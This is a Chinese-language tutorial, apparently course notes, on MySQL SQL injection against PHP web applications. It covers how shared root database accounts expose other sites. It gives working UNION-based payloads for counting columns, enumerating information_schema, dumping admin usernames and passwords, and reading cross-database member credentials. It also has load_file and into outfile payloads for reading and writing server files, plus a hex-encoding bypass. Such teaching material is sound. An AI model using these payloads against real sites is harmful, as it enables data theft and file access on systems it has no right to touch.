小迪第42课:PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作

文章目录

    • [一、SQL 注入的本质原理](#一、SQL 注入的本质原理)
    • [二、PHP -- MySQL -- Web 架构模型(核心前提)](#二、PHP – MySQL – Web 架构模型(核心前提))
      • [1. MySQL 架构特点](#1. MySQL 架构特点)
      • [2. 两种常见数据库管理方式](#2. 两种常见数据库管理方式)
        • [① 数据库统一管理(❌ 不安全)](#① 数据库统一管理(❌ 不安全))
        • [② 数据库一对一管理(✅ 推荐)](#② 数据库一对一管理(✅ 推荐))
    • [三、MySQL 注入的第一目标:判断 Web 权限](#三、MySQL 注入的第一目标:判断 Web 权限)
    • [四、MySQL 5.0+ 的核心:information_schema](#四、MySQL 5.0+ 的核心:information_schema)
    • [五、ORDER BY 探测字段数目的原理](#五、ORDER BY 探测字段数目的原理)
    • [六、UNION 注入的完整流程(单库)](#六、UNION 注入的完整流程(单库))
      • [1️⃣ 确定字段数](#1️⃣ 确定字段数)
      • [2️⃣ 确定回显位](#2️⃣ 确定回显位)
      • [3️⃣ 获取基础信息](#3️⃣ 获取基础信息)
      • [4️⃣ 获取表名](#4️⃣ 获取表名)
      • [5️⃣ 获取列名](#5️⃣ 获取列名)
      • [6️⃣ 获取数据](#6️⃣ 获取数据)
    • 七、跨库查询(高危行为)
      • 跨库成立的前提
      • 典型跨库流程
        • [1️⃣ 获取所有数据库名](#1️⃣ 获取所有数据库名)
        • [2️⃣ 获取目标库表名](#2️⃣ 获取目标库表名)
        • [3️⃣ 获取列名](#3️⃣ 获取列名)
        • [4️⃣ 查询数据(必须指定库名)](#4️⃣ 查询数据(必须指定库名))
    • [八、MySQL 文件读写注入](#八、MySQL 文件读写注入)
    • [九、Access 与 MySQL 注入的本质区别](#九、Access 与 MySQL 注入的本质区别)
    • 十、关键结论总结(必背)
    • 一句话总总结(非常重要)

一、SQL 注入的本质原理

SQL 注入产生的根本原因:

接收的参数值未经过过滤,直接拼接进 SQL 语句并被数据库执行

复制代码
SQL 能干什么
= 注入就能干什么
= 由数据库类型决定(MySQL / Oracle / MSSQL)

二、PHP -- MySQL -- Web 架构模型(核心前提)

1. MySQL 架构特点

  • MySQL 是服务器型数据库
  • 一个 MySQL 服务器实例可以管理多个数据库
  • 所有网站的数据库集中存储在 MySQL 中

2. 两种常见数据库管理方式

① 数据库统一管理(❌ 不安全)
复制代码
MySQL
 └── root 用户
      ├── zblog 数据库(网站A)
      └── demo01 数据库(网站B)

配置示例:

复制代码
www.zblog.com  -> zblog  -> root
www.demo01.com -> demo01 -> root

风险:

  • 任意一个网站 SQL 注入成功
  • user() = root
  • 可跨库读取其他网站数据

② 数据库一对一管理(✅ 推荐)
复制代码
MySQL
 ├── zblog 用户 -> zblog 数据库
 └── demo 用户  -> demo01 数据库

配置示例:

复制代码
www.zblog.com  -> zblog  -> zblog
www.demo01.com -> demo01 -> demo

效果:

  • 非 root 用户
  • 只能访问自己的数据库
  • 无法跨库查询

三、MySQL 注入的第一目标:判断 Web 权限

必须先获取的四个关键信息

信息 函数 用途
数据库版本 version() 判断是否支持 information_schema
当前用户 user() 判断是否 root
当前数据库 database() 为后续猜表做准备
操作系统 @@version_compile_os 判断文件路径、大小写

示例:

复制代码
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6

四、MySQL 5.0+ 的核心:information_schema

information_schema 是什么?

MySQL 5.0 以上自带的"元数据库",存储所有库、表、列信息

关键表与字段

作用 关键字段
schemata 存储数据库名 schema_name
tables 存储表名 table_schema, table_name
columns 存储列名 table_schema, table_name, column_name

五、ORDER BY 探测字段数目的原理

SQL 排序方式

复制代码
order by username
order by 1

原理说明

  • order by 1 表示按 第 1 列排序
  • 如果编号 ≤ 字段数 → 正常
  • 如果编号 > 字段数 → 报错

探测逻辑

复制代码
order by 1  ✓
order by 2  ✓
order by 6  ✓
order by 7  ✗ 报错

最大不报错值 = 字段数


六、UNION 注入的完整流程(单库)

1️⃣ 确定字段数

复制代码
order by 6

2️⃣ 确定回显位

复制代码
union select 1,2,3,4,5,6

3️⃣ 获取基础信息

复制代码
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6

4️⃣ 获取表名

复制代码
union select 1,2,3,group_concat(table_name),5,6
from information_schema.tables
where table_schema='demo01'

5️⃣ 获取列名

复制代码
union select 1,2,3,group_concat(column_name),5,6
from information_schema.columns
where table_schema='demo01' and table_name='admin'

6️⃣ 获取数据

复制代码
union select 1,2,3,username,password,6 from admin

七、跨库查询(高危行为)

跨库成立的前提

当前数据库用户必须是 root

复制代码
select user();  -- root@localhost

典型跨库流程

1️⃣ 获取所有数据库名
复制代码
union select 1,2,3,group_concat(schema_name),5,6
from information_schema.schemata

2️⃣ 获取目标库表名
复制代码
union select 1,2,3,group_concat(table_name  
),5,6
from information_schema.tables
where table_schema='zblog'

3️⃣ 获取列名
复制代码
union select 1,2,3,group_concat(column_name),5,6
from information_schema.columns
where table_schema='zblog' and table_name='zbp_member'

4️⃣ 查询数据(必须指定库名)
复制代码
union select 1,2,3,mem_Name,mem_Password,6
from zblog.zbp_member

八、MySQL 文件读写注入

成功条件

  1. 数据库用户权限(root)
  2. secure-file-priv 未限制

读取文件(页面不显示,可从源代码查看)

复制代码
union select 1,load_file('d:\\1.txt'),3,4,5,6

写入文件

复制代码
union select 1,'xiaohan',3,4,5,6 into outfile 'd:\\2.txt'

路径获取方式

  • SQL 报错信息
  • phpinfo 页面
  • 常见中间件默认路径

补充:文件的读写均需要输入绝对路径


九、Access 与 MySQL 注入的本质区别

Access

  • 文件型数据库
  • 无数据库用户概念
  • 无 information_schema
  • 依赖字典猜测表名、列名
  • 字典不全 → 注入失败

MySQL

  • 服务器型数据库
  • 有数据库用户、权限体系
  • information_schema 天然提供结构信息
  • 更容易系统性枚举

十、关键结论总结(必背)

  1. SQL 注入能干什么,由数据库决定
  2. ORDER BY 利用的是列编号越界报错
  3. information_schema 是 MySQL 注入的核心
  4. 非 root 用户只能访问自己的数据库
  5. 跨库查询的前提是 root 用户
  6. 防御本质:数据库一对一用户管理
  7. 不用单引号可用 0x 十六进制绕过

一句话总总结(非常重要)

SQL 注入不是"猜数据",而是一步步获取信息、判断权限、选择最优攻击路径的过程。

相关推荐
Bobolink_1 小时前
跨境业务网络环境评估,“干净、一致、独享”三个关键指标
开发语言·网络·php·跨境网络·网络环境
其实防守也摸鱼1 小时前
运维--怎么看接口的请求和返回
运维·学习·网络安全·网络攻击模型·burpsuite·攻防对抗·蓝队
幻风_huanfeng2 小时前
软考:高级软件架构师学习笔记----软件架构设计
架构·系统架构·软考·高级系统架构师
CoderMeijun3 小时前
一条SQL查询语句在MySQL中是如何执行的
mysql·sql执行流程·连接器·mysql架构·索引下推·执行器
OCR_133716212753 小时前
技术拆解:国产GPU两大核心路线GPGPU与NPU的架构差异与落地现状
架构
山峰哥4 小时前
数据库工程与索引策略实战指南‌
服务器·数据库·sql·oracle·深度优先
跨境数据猎手4 小时前
反向海淘实战|独立站搭建+国内电商API对接
开发语言·爬虫·架构
xfhuangfu4 小时前
19c CDB架构下的数据库启动和停止
数据库·架构
爱折腾的小黑牛5 小时前
小程序云开发数据模型设计:礼账系统的三表结构
数据库·架构
2401_894915535 小时前
Geo搜索优化排名源码部署搭建全流程详解
android·开发语言·flask·php·精选